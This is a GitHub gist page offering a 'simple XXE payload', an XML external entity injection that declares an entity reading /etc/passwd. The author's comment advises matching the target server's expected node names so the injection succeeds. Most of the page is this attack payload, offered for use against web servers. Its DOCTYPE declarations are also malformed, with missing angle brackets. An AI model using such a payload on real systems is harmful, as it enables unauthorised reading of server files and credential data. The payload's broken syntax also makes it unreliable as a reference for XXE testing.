Skip to content

Instantly share code, notes, and snippets.

@slayerlab

slayerlab/xxe.xml

Created October 24, 2018 01:56
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save slayerlab/aa308fe97c991017f1621e4ef622512c to your computer and use it in GitHub Desktop.
Save slayerlab/aa308fe97c991017f1621e4ef622512c to your computer and use it in GitHub Desktop.
Download ZIP
simple xxe payload
Raw
xxe.xml
<?xml version="1.0"?>
<!DOCTYPE data [
!ELEMENT data (x)>
!ENTITY file SYSTEM "/etc/passwd"
]>
<RequiredRootXMLNode>
<RequiredChildXMLNode>&file;</RequiredChildXMLNode>
</RequiredRootXMLNode>
@slayerlab
Copy link
Author

x = whatever value
root node = first node in XML
child node = node inside of the "first node"

if you'll use XXE injection, you need to know that some webserver requires specific xml node name or it will going to fail during injection.
The webserver might returns "Internal server error" for instance.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment